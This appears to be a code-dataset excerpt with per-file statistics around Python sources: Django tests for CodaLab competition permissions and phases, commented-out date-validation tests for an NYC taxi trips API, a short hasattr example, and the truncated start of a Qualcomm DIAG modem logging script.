
0.05293

0.275342

1,460

38

123

38.421053

0.657845

0

0.8

0

0.078029

0

1

0.057143

false

0

0.028571

0

0.142857

0.057143

0

null

0

1

0

1

0

1

0

null

0

8

2eb8cdac708a97cfd598dafc5d739259c5bc23f6

21,837

py

Python

k8s/images/codalab/apps/web/tests/test_competitions.py

abdulari/codalab-competitions

fdfbb77ac62d56c6b4b9439935037f97ffcd1423

[ "Apache-2.0" ]

2

2021-12-20T11:39:03.000Z

2021-12-20T11:39:06.000Z

k8s/images/codalab/apps/web/tests/test_competitions.py

abdulari/codalab-competitions

fdfbb77ac62d56c6b4b9439935037f97ffcd1423

[ "Apache-2.0" ]

2

2022-01-27T22:35:11.000Z

2022-02-09T21:48:23.000Z

k8s/images/codalab/apps/web/tests/test_competitions.py

abdulari/codalab-competitions

fdfbb77ac62d56c6b4b9439935037f97ffcd1423

[ "Apache-2.0" ]

null

import io import zipfile import mock import pytz from django.core.files.base import ContentFile from django.core.urlresolvers import reverse from django.test import TestCase from django.test.client import Client from django.contrib.auth import get_user_model from django.utils.timezone import now, timedelta, datetime from apps.web.models import (Competition, CompetitionParticipant, CompetitionPhase, CompetitionSubmission, CompetitionSubmissionStatus, ParticipantStatus, PhaseLeaderBoard, PhaseLeaderBoardEntry, CompetitionDump, get_first_previous_active_and_next_phases) User = get_user_model() class CompetitionPhaseToPhase(TestCase): def setUp(self): self.user = User.objects.create(email='test@user.com', username='testuser') self.other_user = User.objects.create(email='other@user.com', username='other') self.competition = Competition.objects.create(creator=self.user, modified_by=self.user) self.participant_1 = CompetitionParticipant.objects.create( user=self.user, competition=self.competition, status=ParticipantStatus.objects.get_or_create(name='approved', codename=ParticipantStatus.APPROVED)[0] ) self.participant_2 = CompetitionParticipant.objects.create( user=self.other_user, competition=self.competition, status=ParticipantStatus.objects.get_or_create(name='approved', codename=ParticipantStatus.APPROVED)[0] ) self.phase_1 = CompetitionPhase.objects.create( competition=self.competition, phasenumber=1, start_date=datetime.datetime.now() - datetime.timedelta(days=30), ) self.phase_2 = CompetitionPhase.objects.create( competition=self.competition, phasenumber=2, start_date=datetime.datetime.now() - datetime.timedelta(days=15), auto_migration=True ) submission_finished = CompetitionSubmissionStatus.objects.create(name="finished", codename="finished") self.submission_1 = CompetitionSubmission.objects.create( participant=self.participant_1, phase=self.phase_1, status=submission_finished, submitted_at=datetime.datetime.now() - datetime.timedelta(days=29) ) self.submission_2 = CompetitionSubmission.objects.create( participant=self.participant_1, phase=self.phase_1, status=submission_finished, submitted_at=datetime.datetime.now() - datetime.timedelta(days=28) ) self.submission_3 = CompetitionSubmission.objects.create( participant=self.participant_2, phase=self.phase_1, status=submission_finished, submitted_at=datetime.datetime.now() - datetime.timedelta(days=28) ) self.leader_board = PhaseLeaderBoard.objects.create(phase=self.phase_1) self.leader_board_entry_1 = PhaseLeaderBoardEntry.objects.create( board=self.leader_board, result=self.submission_2 ) self.leader_board_entry_2 = PhaseLeaderBoardEntry.objects.create( board=self.leader_board, result=self.submission_3 ) self.client = Client() # TODO, FIX TEXT cases # def test_phase_migrations_works_even_with_max_submissions(self): # self.phase_1.max_submissions_per_day = 3 # self.phase_1.save() # self.phase_2.max_submissions_per_day = 1 # self.phase_2.save() # with mock.patch('apps.web.tasks.evaluate_submission') as evaluate_mock: # self.competition.check_future_phase_sumbmissions() # # The submissions still made it # CompetitionSubmission.objects.get(phase=self.phase_2, participant=self.participant_1) # CompetitionSubmission.objects.get(phase=self.phase_2, participant=self.participant_2) # # And the competition is not stuck migrating # self.assertEquals(self.competition.last_phase_migration, 2) # self.assertTrue(CompetitionPhase.objects.get(pk=self.phase_2.pk).is_migrated) # self.assertFalse(self.competition.is_migrating) # def test_phase_migrations_delayed_until_submissions_not_marked_running(self): # self.submission_1.status = CompetitionSubmissionStatus.objects.get_or_create(name="running", codename="running")[0] # self.submission_1.save() # with mock.patch('apps.web.tasks.evaluate_submission') as evaluate_mock: # self.competition.check_future_phase_sumbmissions() # self.assertFalse(evaluate_mock.called) # self.submission_1.status = CompetitionSubmissionStatus.objects.get_or_create(name="finished", codename="finished")[0] # self.submission_1.save() # PhaseLeaderBoardEntry.objects.create( # board=self.leader_board, # result=self.submission_1 # ) # with mock.patch('apps.web.tasks.evaluate_submission') as evaluate_mock: # self.competition.check_future_phase_sumbmissions() # self.assertTrue(evaluate_mock.called) # def test_phase_migrations_handles_delay_with_failed_submissions(self): # self.submission_1.status = CompetitionSubmissionStatus.objects.get_or_create(name="running", codename="running")[0] # self.submission_1.save() # with mock.patch('apps.web.tasks.evaluate_submission') as evaluate_mock: # self.competition.check_future_phase_sumbmissions() # self.assertFalse(evaluate_mock.called) # self.submission_1.status = CompetitionSubmissionStatus.objects.get_or_create(name="failed", codename="failed")[0] # self.submission_1.save() # with mock.patch('apps.web.tasks.evaluate_submission') as evaluate_mock: # self.competition.check_future_phase_sumbmissions() # self.assertTrue(evaluate_mock.called) # def test_phase_migrations_delayed_marks_competition(self): # self.submission_1.status = CompetitionSubmissionStatus.objects.get_or_create(name="running", codename="running")[0] # self.submission_1.save() # self.assertFalse(self.competition.is_migrating_delayed) # with mock.patch('apps.web.tasks.evaluate_submission') as evaluate_mock: # self.competition.check_future_phase_sumbmissions() # self.assertFalse(self.competition.is_migrating_delayed) class CompetitionTest(TestCase): def setUp(self): self.organizer_user = User.objects.create_user(username="organizer", password="pass") self.participant_user = User.objects.create_user(username="participant", password="pass") self.competition = Competition.objects.create( title="Test Competition", creator=self.organizer_user, modified_by=self.organizer_user ) self.participant = CompetitionParticipant.objects.create( user=self.participant_user, competition=self.competition, status=ParticipantStatus.objects.get_or_create(name='approved', codename=ParticipantStatus.PENDING)[0] ) class CompetitionDeleteTests(CompetitionTest): def test_cant_view_delete_competition_template_if_you_dont_own_it(self): self.client.login(username="participant", password="pass") resp = self.client.get(reverse("competitions:delete", kwargs={"pk": self.competition.pk})) self.assertEqual(resp.status_code, 403) def test_can_view_delete_competition_with_ownership(self): self.client.login(username="organizer", password="pass") resp = self.client.get(reverse("competitions:delete", kwargs={"pk": self.competition.pk})) self.assertEqual(resp.status_code, 200) def test_cant_delete_competition_even_as_admin(self): some_admin = User.objects.create_user(username="some_admin", password="pass") self.client.logout() self.client.login(username="some_admin", password="pass") self.competition.admins.add(some_admin) self.competition.save() resp = self.client.get(reverse("competitions:delete", kwargs={"pk": self.competition.pk})) self.assertEqual(resp.status_code, 403) def test_cant_delete_competition_if_you_dont_own_it(self): self.client.login(username="participant", password="pass") resp = self.client.delete(reverse("competitions:delete", kwargs={"pk": self.competition.pk})) self.assertEqual(resp.status_code, 403) def test_can_delete_competition_with_ownership(self): self.client.login(username="organizer", password="pass") resp = self.client.delete(reverse("competitions:delete", kwargs={"pk": self.competition.pk})) self.assertEqual(resp.status_code, 302) self.assertEqual(len(Competition.objects.filter(pk=self.competition.pk)), 0) class CompetitionDumpDeleteTests(CompetitionTest): def setUp(self): super(CompetitionDumpDeleteTests, self).setUp() zip_buffer = io.BytesIO() zip_name = "{0}.zip".format("Example_Title") zip_file = zipfile.ZipFile(zip_buffer, "w") zip_file.close() temp_comp_data = ContentFile(zip_buffer.getvalue()) self.competitiondump = CompetitionDump.objects.create( competition=self.competition, status="Finished", ) self.competitiondump.data_file.save(zip_name, temp_comp_data) def test_cant_view_delete_competition_template_if_you_dont_own_it(self): self.client.login(username="participant", password="pass") resp = self.client.get(reverse("competitions:delete_dump", kwargs={"pk": self.competitiondump.pk})) self.assertEqual(resp.status_code, 403) def test_can_view_delete_competition_with_ownership(self): self.client.login(username="organizer", password="pass") resp = self.client.get(reverse("competitions:delete_dump", kwargs={"pk": self.competitiondump.pk})) self.assertEqual(resp.status_code, 200) def test_cant_delete_competition_if_you_dont_own_it(self): self.client.login(username="participant", password="pass") resp = self.client.delete(reverse("competitions:delete_dump", kwargs={"pk": self.competitiondump.pk})) self.assertEqual(resp.status_code, 403) def test_can_delete_competition_with_ownership(self): self.client.login(username="organizer", password="pass") resp = self.client.delete(reverse("competitions:delete_dump", kwargs={"pk": self.competitiondump.pk})) self.assertEqual(resp.status_code, 302) self.assertEqual(len(CompetitionDump.objects.filter(pk=self.competitiondump.pk)), 0) def test_can_delete_competition_dump_with_admin(self): some_admin = User.objects.create_user(username="some_admin", password="pass") self.client.logout() self.client.login(username="some_admin", password="pass") self.competition.admins.add(some_admin) self.competition.save() resp = self.client.delete(reverse("competitions:delete_dump", kwargs={"pk": self.competitiondump.pk})) self.assertEqual(resp.status_code, 302) self.assertEqual(len(CompetitionDump.objects.filter(pk=self.competitiondump.pk)), 0) class CompetitionEditPermissionsTests(CompetitionTest): def test_cant_view_edit_competition_template_if_you_dont_own_it(self): self.client.login(username="participant", password="pass") resp = self.client.get(reverse("competitions:edit", kwargs={"pk": self.competition.pk})) self.assertEqual(resp.status_code, 403) def test_can_view_edit_competition_with_ownership(self): self.client.login(username="organizer", password="pass") resp = self.client.get(reverse("competitions:edit", kwargs={"pk": self.competition.pk})) self.assertEqual(resp.status_code, 200) def test_can_view_edit_competition_as_admin(self): some_admin = User.objects.create_user(username="some_admin", password="pass") self.client.login(username="some_admin", password="pass") self.competition.admins.add(some_admin) self.competition.save() resp = self.client.get(reverse("competitions:edit", kwargs={"pk": self.competition.pk})) self.assertEqual(resp.status_code, 200) def test_cant_edit_competition_if_you_dont_own_it(self): self.client.login(username="participant", password="pass") resp = self.client.post(reverse("competitions:edit", kwargs={"pk": self.competition.pk})) self.assertEqual(resp.status_code, 403) def test_can_edit_competition_with_ownership(self): self.client.login(username="organizer", password="pass") with mock.patch('apps.web.views.CompetitionEdit.construct_inlines') as construct_inlines_mock: resp = self.client.post( reverse("competitions:edit", kwargs={"pk": self.competition.pk}), data={} ) self.assertTrue(construct_inlines_mock.called) class CompetitionCurrentPhaseHandling(TestCase): def setUp(self): self.user = User.objects.create(email='test@user.com', username='testuser') self.competition = Competition.objects.create( creator=self.user, modified_by=self.user, end_date=now() + timedelta(days=30) ) self.participant_1 = CompetitionParticipant.objects.create( user=self.user, competition=self.competition, status=ParticipantStatus.objects.get_or_create(name='approved', codename=ParticipantStatus.APPROVED)[0] ) def test_get_previous_next_active_phase_works_two_simple_phases(self): self.phase_1 = CompetitionPhase.objects.create( competition=self.competition, phasenumber=1, start_date=now() - timedelta(days=30), ) self.phase_2 = CompetitionPhase.objects.create( competition=self.competition, phasenumber=2, start_date=now() - timedelta(days=15), ) first_phase, previous_phase, active_phase, next_phase = get_first_previous_active_and_next_phases(self.competition) assert first_phase == self.phase_1 assert previous_phase == self.phase_1 assert active_phase == self.phase_2 assert next_phase is None def test_get_previous_next_active_phase_works_many_phases(self): self.phase_1 = CompetitionPhase.objects.create( competition=self.competition, phasenumber=1, start_date=now() - timedelta(days=30), ) self.phase_2 = CompetitionPhase.objects.create( competition=self.competition, phasenumber=2, start_date=now() - timedelta(days=15), ) self.phase_3 = CompetitionPhase.objects.create( competition=self.competition, phasenumber=3, start_date=now() - timedelta(days=5), ) self.phase_4 = CompetitionPhase.objects.create( competition=self.competition, phasenumber=4, start_date=now() + timedelta(days=15), ) first_phase, previous_phase, active_phase, next_phase = get_first_previous_active_and_next_phases(self.competition) assert first_phase == self.phase_1 assert previous_phase == self.phase_2 assert active_phase == self.phase_3 assert next_phase == self.phase_4 def test_get_previous_next_active_phase_works_no_next_phase_competition_ends(self): self.phase_1 = CompetitionPhase.objects.create( competition=self.competition, phasenumber=1, start_date=now() - timedelta(days=30), ) self.phase_2 = CompetitionPhase.objects.create( competition=self.competition, phasenumber=2, start_date=now() - timedelta(days=15), ) self.phase_3 = CompetitionPhase.objects.create( competition=self.competition, phasenumber=3, start_date=now() - timedelta(days=5), ) first_phase, previous_phase, active_phase, next_phase = get_first_previous_active_and_next_phases(self.competition) assert first_phase == self.phase_1 assert previous_phase == self.phase_2 assert active_phase == self.phase_3 assert next_phase is None def test_get_previous_next_active_phase_works_without_neverending_second_phase(self): self.phase_1 = CompetitionPhase.objects.create( competition=self.competition, phasenumber=1, start_date=datetime(2017, 6, 18, 23, 59), ) self.phase_2 = CompetitionPhase.objects.create( competition=self.competition, phasenumber=2, start_date=datetime(2017, 6, 30, 23, 59), ) self.phase_3 = CompetitionPhase.objects.create( competition=self.competition, phasenumber=3, start_date=datetime(2018, 5, 13, 23, 59), ) first_phase, previous_phase, active_phase, next_phase = get_first_previous_active_and_next_phases(self.competition) assert first_phase == self.phase_1 assert previous_phase == self.phase_2 assert active_phase == self.phase_3 assert next_phase is None def test_get_previous_next_active_phase_works_with_neverending_second_phase(self): self.phase_1 = CompetitionPhase.objects.create( competition=self.competition, phasenumber=1, start_date=datetime(2017, 6, 18, 23, 59), ) self.phase_2 = CompetitionPhase.objects.create( competition=self.competition, phasenumber=2, start_date=datetime(2017, 6, 30, 23, 59), phase_never_ends=True, ) self.phase_3 = CompetitionPhase.objects.create( competition=self.competition, phasenumber=3, start_date=datetime(2018, 5, 13, 23, 59), ) first_phase, previous_phase, active_phase, next_phase = get_first_previous_active_and_next_phases(self.competition) assert first_phase == self.phase_1 assert previous_phase == self.phase_2 assert active_phase == self.phase_3 assert next_phase is None def test_get_previous_next_active_phase_works_with_competition_that_never_ends(self): self.competition.end_date = None self.competition.save() self.phase_1 = CompetitionPhase.objects.create( competition=self.competition, phasenumber=1, start_date=datetime(2017, 6, 18, 23, 59), ) self.phase_2 = CompetitionPhase.objects.create( competition=self.competition, phasenumber=2, start_date=datetime(2017, 6, 30, 23, 59), phase_never_ends=True, ) self.phase_3 = CompetitionPhase.objects.create( competition=self.competition, phasenumber=3, start_date=datetime(2018, 5, 13, 23, 59), ) first_phase, previous_phase, active_phase, next_phase = get_first_previous_active_and_next_phases(self.competition) assert first_phase == self.phase_1 assert previous_phase == self.phase_2 assert active_phase == self.phase_3 assert next_phase is None def test_get_previous_next_active_phase_works_with_competition_that_has_ended(self): self.competition.end_date = datetime(2018, 5, 25, 23, 59, tzinfo=pytz.utc) self.competition.save() self.phase_1 = CompetitionPhase.objects.create( competition=self.competition, phasenumber=1, start_date=datetime(2017, 6, 18, 23, 59), ) self.phase_2 = CompetitionPhase.objects.create( competition=self.competition, phasenumber=2, start_date=datetime(2017, 6, 30, 23, 59), ) self.phase_3 = CompetitionPhase.objects.create( competition=self.competition, phasenumber=3, start_date=datetime(2018, 5, 13, 23, 59), ) first_phase, previous_phase, active_phase, next_phase = get_first_previous_active_and_next_phases( self.competition) assert first_phase == self.phase_1 assert previous_phase == self.phase_3 assert active_phase is None assert next_phase is None def test_get_previous_next_active_phase_works_with_competition_that_has_ended_but_has_phase_that_never_ends(self): self.competition.end_date = datetime(2018, 5, 25, 23, 59, tzinfo=pytz.utc) self.competition.save() self.phase_1 = CompetitionPhase.objects.create( competition=self.competition, phasenumber=1, start_date=datetime(2017, 6, 18, 23, 59), ) self.phase_2 = CompetitionPhase.objects.create( competition=self.competition, phasenumber=2, start_date=datetime(2017, 6, 30, 23, 59), phase_never_ends=True, ) self.phase_3 = CompetitionPhase.objects.create( competition=self.competition, phasenumber=3, start_date=datetime(2018, 5, 13, 23, 59), ) first_phase, previous_phase, active_phase, next_phase = get_first_previous_active_and_next_phases( self.competition) assert first_phase == self.phase_1 assert previous_phase == self.phase_3 assert active_phase == self.phase_2 assert next_phase is None

43.5

127

0.675551

2,461

21,837

5.746445

0.087769

0.07955

0.056993

0.053458

0.852425

0.822656

0.807736

0.794866

0.782492

0

0.022809

0.225031

21,837

501

128

43.586826

0.812858

0.130558

0

0.646113

0

0.042884

0.008872

0

0.001996

0.134048

1

0.072386

false

0.053619

0.029491

0

0.117962

0

null

0

1

0

null

0

1

0

7

2c2f9a97a112e6cf71e63c93cdc62e7bb0cc83e3

12,729

py

Python

tests/test_total_trips_methods.py

abhishek9sharma/nyctaxiserver

930d12c2ff7ae331bdaba23054cf583eb6dbe819

[ "MIT" ]

null

tests/test_total_trips_methods.py

abhishek9sharma/nyctaxiserver

930d12c2ff7ae331bdaba23054cf583eb6dbe819

[ "MIT" ]

2

2019-06-09T02:56:43.000Z

2020-02-19T14:59:28.000Z

tests/test_total_trips_methods.py

abhishek9sharma/nyctaxiserver

930d12c2ff7ae331bdaba23054cf583eb6dbe819

[ "MIT" ]

1

2021-02-07T11:58:22.000Z

# import json # #tests for dates as integers # def test_bad_request_start_number(client): # """Test for invalid start date (integer) returns a 400 error response.""" # query_string_param1 = 'start=1' # query_string_param2 = 'end=2017-01-01' # response = client.get('/total_trips/?' + query_string_param1 + '&' + query_string_param2) # assert json.loads(response.data) == {"message": "Invalid format for start parameter value : 1, expected format is YYYY-MM-DD"} # assert response.status_code == 400 # def test_bad_request_end_number(client): # """Test for invalid end date (integer) returns a 400 error response.""" # query_string_param1 = 'start=2017-01-01' # query_string_param2 = 'end=2' # response = client.get('/total_trips/?' + query_string_param1 + '&' + query_string_param2) # assert json.loads(response.data) == {"message": "Invalid format for end parameter value : 2, expected format is YYYY-MM-DD"} # assert response.status_code == 400 # def test_bad_request_both_numbers(client): # """Test for invalid dates (both dates as integers) returns a 400 error response.""" # query_string_param1 = 'start=1' # query_string_param2 = 'end=2' # response = client.get('/total_trips/?' + query_string_param1 + '&' + query_string_param2) # assert json.loads(response.data) == {"message": "Invalid format for start parameter value : 1, expected format is YYYY-MM-DD"} # assert response.status_code == 400 # #tests for dates as invalid strings # def test_bad_request_start_string(client): # """Test for invalid start date (string) returns a 400 error response.""" # query_string_param1 = 'start=2017/01/01' # query_string_param2 = 'end=2017-01-31' # response = client.get('/total_trips/?' + query_string_param1 + '&' + query_string_param2) # assert json.loads(response.data) == {"message": "Invalid format for start parameter value : 2017/01/01, expected format is YYYY-MM-DD"} # assert response.status_code == 400 # def test_bad_request_end_string(client): # """Test for invalid end date (string) returns a 400 error response.""" # query_string_param1 = 'start=2017-01-01' # query_string_param2 = 'end=2017/01/31' # response = client.get('/total_trips/?' + query_string_param1 + '&' + query_string_param2) # assert json.loads(response.data) == {"message": "Invalid format for end parameter value : 2017/01/31, expected format is YYYY-MM-DD"} # assert response.status_code == 400 # def test_bad_request_both_string(client): # """Test for invalid dates (both dates as ivaid strings) returns a 400 error response.""" # query_string_param1 = 'start=2017/01/01' # query_string_param2 = 'end=2017/01/31' # response = client.get('/total_trips/?' + query_string_param1 + '&' + query_string_param2) # assert json.loads(response.data) == {"message": "Invalid format for start parameter value : 2017/01/01, expected format is YYYY-MM-DD"} # assert response.status_code == 400 # # tests for dates as invalid dates # def test_bad_request_start_date_format_A(client): # """Test for invalid start date YYYY-MM-D returns a 400 error response.""" # query_string_param1 = 'start=2017-01-1' # query_string_param2 = 'end=2017-01-31' # response = client.get('/total_trips/?' + query_string_param1 + '&' + query_string_param2) # assert json.loads(response.data) == {"message": "Invalid format for start parameter value : 2017-01-1, expected format is YYYY-MM-DD"} # assert response.status_code == 400 # def test_bad_request_start_date_format_B(client): # """Test for invalid start date YYYY-M-DD returns a 400 error response""" # query_string_param1 = 'start=2017-1-11' # query_string_param2 = 'end=2017-01-31' # response = client.get('/total_trips/?' + query_string_param1 + '&' + query_string_param2) # assert json.loads(response.data) == {"message": "Invalid format for start parameter value : 2017-1-11, expected format is YYYY-MM-DD"} # assert response.status_code == 400 # def test_bad_request_start_date_format_C(client): # """Test for invalid start date YYYY-MM-DD (DD>31) returns a 400 error response""" # query_string_param1 = 'start=2017-01-32' # query_string_param2 = 'end=2017-01-31' # response = client.get('/total_trips/?' + query_string_param1 + '&' + query_string_param2) # assert json.loads(response.data) == {"message": "Invalid format for start parameter value : 2017-01-32, expected format is YYYY-MM-DD"} # assert response.status_code == 400 # def test_bad_request_start_date_format_D(client): # """Test for invalid start date YYYY-MM-DD (MM>12) returns a 400 error response""" # query_string_param1 = 'start=2017-13-31' # query_string_param2 = 'end=2017-01-31' # response = client.get('/total_trips/?' + query_string_param1 + '&' + query_string_param2) # assert json.loads(response.data) == {"message": "Invalid format for start parameter value : 2017-13-31, expected format is YYYY-MM-DD"} # assert response.status_code == 400 # def test_bad_request_start_date_format_E(client): # """Test for invalid start date YYYY-MM-DD (wrong date month combination) returns a 400 error response""" # query_string_param1 = 'start=2017-02-30' # query_string_param2 = 'end=2017-01-31' # response = client.get('/total_trips/?' + query_string_param1 + '&' + query_string_param2) # assert json.loads(response.data) == {"message": "Invalid format for start parameter value : 2017-02-30, expected format is YYYY-MM-DD"} # assert response.status_code == 400 # def test_bad_request_end_date_Format_A(client): # """Test for invalid end date YYYY-MM-D returns a 400 error response.""" # query_string_param1 = 'start=2017-01-01' # query_string_param2 = 'end=2017-02-1' # response = client.get('/total_trips/?' + query_string_param1 + '&' + query_string_param2) # assert json.loads(response.data) == {"message": "Invalid format for end parameter value : 2017-02-1, expected format is YYYY-MM-DD"} # assert response.status_code == 400 # def test_bad_request_end_date_Format_B(client): # """Test for invalid end date YYYY-M-DD returns a 400 error response""" # query_string_param1 = 'start=2017-01-01' # query_string_param2 = 'end=2017-1-31' # response = client.get('/total_trips/?' + query_string_param1 + '&' + query_string_param2) # assert json.loads(response.data) == {"message": "Invalid format for end parameter value : 2017-1-31, expected format is YYYY-MM-DD"} # assert response.status_code == 400 # def test_bad_request_end_date_Format_C(client): # """Test for invalid end date YYYY-MM-DD (DD>31) returns a 400 error response""" # query_string_param1 = 'start=2017-01-01' # query_string_param2 = 'end=2017-01-32' # response = client.get('/total_trips/?' + query_string_param1 + '&' + query_string_param2) # assert json.loads(response.data) == {"message": "Invalid format for end parameter value : 2017-01-32, expected format is YYYY-MM-DD"} # assert response.status_code == 400 # def test_bad_request_end_date_Format_D(client): # """Test for invalid end date YYYY-MM-DD (MM>12) returns a 400 error response""" # query_string_param1 = 'start=2017-01-01' # query_string_param2 = 'end=2017-13-31' # response = client.get('/total_trips/?' + query_string_param1 + '&' + query_string_param2) # assert json.loads(response.data) == {"message": "Invalid format for end parameter value : 2017-13-31, expected format is YYYY-MM-DD"} # assert response.status_code == 400 # def test_bad_request_end_date_format_E(client): # """Test for invalid end date YYYY-MM-DD (wrong date month combination) returns a 400 error response""" # query_string_param1 = 'start=2017-01-01' # query_string_param2 = 'end=2017-04-31' # response = client.get('/total_trips/?' + query_string_param1 + '&' + query_string_param2) # assert json.loads(response.data) == {"message": "Invalid format for end parameter value : 2017-04-31, expected format is YYYY-MM-DD"} # assert response.status_code == 400 # #tests for start dates greate than end date # def test_bad_request_both_dates_end_less_than_start(client): # """Test for invalid dates start date is greater than end date returns a 400 error response.""" # query_string_param1 = 'start=2017-01-02' # query_string_param2 = 'end=2017-01-01' # response = client.get('/total_trips/?' + query_string_param1 + '&' + query_string_param2) # assert json.loads(response.data) == {"message": "Invalid DATE RANGE, start date : 2017-01-02 should be less than end date: 2017-01-01"} # assert response.status_code == 400 # #tests for start date equal to end date # def test_valid_request_both_dates_equal(client): # """Test for valid dates (both dates as are same) returns a 200 response.""" # query_string_param1 = 'start=2017-01-01' # query_string_param2 = 'end=2017-01-01' # response = client.get('/total_trips/?' + query_string_param1 + '&' + query_string_param2) # assert json.loads(response.data) == {"data": [ # { # "date": "2017-01-01", # "total_trips": 322201 # } # ] # } # assert response.status_code == 200 # #tests for valid start and end date # def test_valid_request_both_dates(client): # """Test for valid dates returns a 200 response.""" # query_string_param1 = 'start=2017-01-01' # query_string_param2 = 'end=2017-01-03' # response = client.get('/total_trips/?' + query_string_param1 + '&' + query_string_param2) # assert json.loads(response.data) == { # "data": [ # { # "date": "2017-01-01", # "total_trips": 322201 # }, # { # "date": "2017-01-02", # "total_trips": 249419 # }, # { # "date": "2017-01-03", # "total_trips": 309032 # } # ] # } # assert response.status_code == 200 # #tests for valid start and end date # def test_valid_request_both_dates_end_date_not_present(client): # """Test for valid dates end date not present in table returns a 200 response.""" # query_string_param1 = 'start=2018-04-30' # query_string_param2 = 'end=2019-01-03' # response = client.get('/total_trips/?' + query_string_param1 + '&' + query_string_param2) # assert json.loads(response.data) == {"data":[ # { # "date": "2018-04-30", # "total_trips": 4 # }, # { # "date": "2018-05-22", # "total_trips": 4 # } # ] # } # assert response.status_code == 200 # #tests for valid empty result # def test_valid_request_both_dates__not_present(client): # """Test for valid dates both dates not present in table returns a 200 response.""" # query_string_param1 = 'start=2019-04-01' # query_string_param2 = 'end=2019-01-18' # response = client.get('/total_trips/?' + query_string_param1 + '&' + query_string_param2) # assert json.loads(response.data) == {"data":[]} # assert response.status_code == 200

50.114173

141

0.595255

1,555

12,729

4.659164

0.063023

0.127536

0.098551

0.072464

0.94686

0.920635

0.896618

0.869289

0.836163

0.816287

0

0.078597

0.285333

12,729

253

142

50.312253

0.717819

0.947443

0

null

0

null

0

null

0

null

1

null

true

0

null

0

null

0

1

0

1

0

null

0

1

0

8

258aca113db4759270f2047d3294e88ef5498306

102

py

Python

25/02/hasattr.py

pylangstudy/201707

c1cc72667f1e0b6e8eef4ee85067d7fa4ca500b6

[ "CC0-1.0" ]

null

25/02/hasattr.py

pylangstudy/201707

c1cc72667f1e0b6e8eef4ee85067d7fa4ca500b6

[ "CC0-1.0" ]

46

2017-06-30T22:19:07.000Z

2017-07-31T22:51:31.000Z

25/02/hasattr.py

pylangstudy/201707

c1cc72667f1e0b6e8eef4ee85067d7fa4ca500b6

[ "CC0-1.0" ]

null

#hasattr(object, name) class C: def A(self): pass print(hasattr(C, 'A')) print(hasattr(C, 'B'))

12.75

22

0.617647

17

102

3.705882

0.647059

0.380952

0.412698

0

0.166667

102

7

23

14.571429

0.741176

0.205882

0

0.025641

0

1

0.25

false

0.25

0

0.5

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

258e1f58207334e2f003e198829576c62122bc28

57,528

py

Python

diag-logger.py

ravens/diag-logger

833cd2c36ffe33206edefd26178f7fdf5878fa18

[ "MIT" ]

5

2018-08-30T08:57:33.000Z

2022-03-29T21:14:08.000Z

diag-logger.py

ravens/diag-logger

833cd2c36ffe33206edefd26178f7fdf5878fa18

[ "MIT" ]

null

diag-logger.py

ravens/diag-logger

833cd2c36ffe33206edefd26178f7fdf5878fa18

[ "MIT" ]

2

2020-08-12T04:03:27.000Z

2021-04-27T07:01:46.000Z

#!/usr/bin/env python ## DIAG protocol logger - 2018 - Yan Grunenberger ## inspired and with some code/binary sequences from : ## https://opensource.srlabs.de/projects/snoopsnitch (Activation and de-activation binary messages) ## https://github.com/moiji-mobile/diag-parser (Frame format) ## https://github.com/ollseg/usb-device-fuzzing (USB class and Bulk mode, as well as initial Scapy implementation of QCDM) import usb.core import usb.util import usb.control import sys import time import signal import json from scapy.fields import * from scapy.packet import Packet, Raw, bind_layers from pycrate_asn1rt.utils import * from pycrate_asn1rt.err import * from pycrate_asn1rt.glob import make_GLOBAL, GLOBAL from pycrate_asn1rt.dictobj import ASN1Dict from pycrate_asn1rt.refobj import * from pycrate_asn1rt.setobj import * from pycrate_asn1rt.asnobj_basic import * from pycrate_asn1rt.asnobj_str import * from pycrate_asn1rt.asnobj_construct import * from pycrate_asn1rt.asnobj_class import * from pycrate_asn1rt.asnobj_ext import * from pycrate_asn1rt.init import init_modules # do not print runtime warnings on screen ASN1Obj._SILENT = True # handle default values in PER the canonical way ASN1CodecPER.GET_DEFVAL = True ASN1CodecPER.CANONICAL = True # print ascii representation in comments when returning the ASN.1 textual encoding # set to False to enable the parsing of the ASN.1 syntax generated BIT_STR._ASN_WASC = False OCT_STR._ASN_WASC = False ## Snoopsnitch is activating most of the monitoring, converting the byte array ## git clone --recursive https://opensource.srlabs.de/git/snoopsnitch.git ## https://opensource.srlabs.de/projects/snoopsnitch/repository/revisions/master/entry/SnoopSnitch/app/src/main/java/de/srlabs/snoopsnitch/qdmon/SetupLoggingCmds.java ## https://opensource.srlabs.de/projects/snoopsnitch/repository/revisions/master/entry/SnoopSnitch/app/src/main/java/de/srlabs/snoopsnitch/qdmon/DisableLoggingCmds.java enable_diag_log_cmds = [ bytearray([ 0x1D ]) ,bytearray([ 0x00 ]) ,bytearray([ 0x7C ]) ,bytearray([ 0x0C ]) ,bytearray([ 0x63 ]) ,bytearray([ 0x60, 0x00 ]) ,bytearray([ 0x73, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 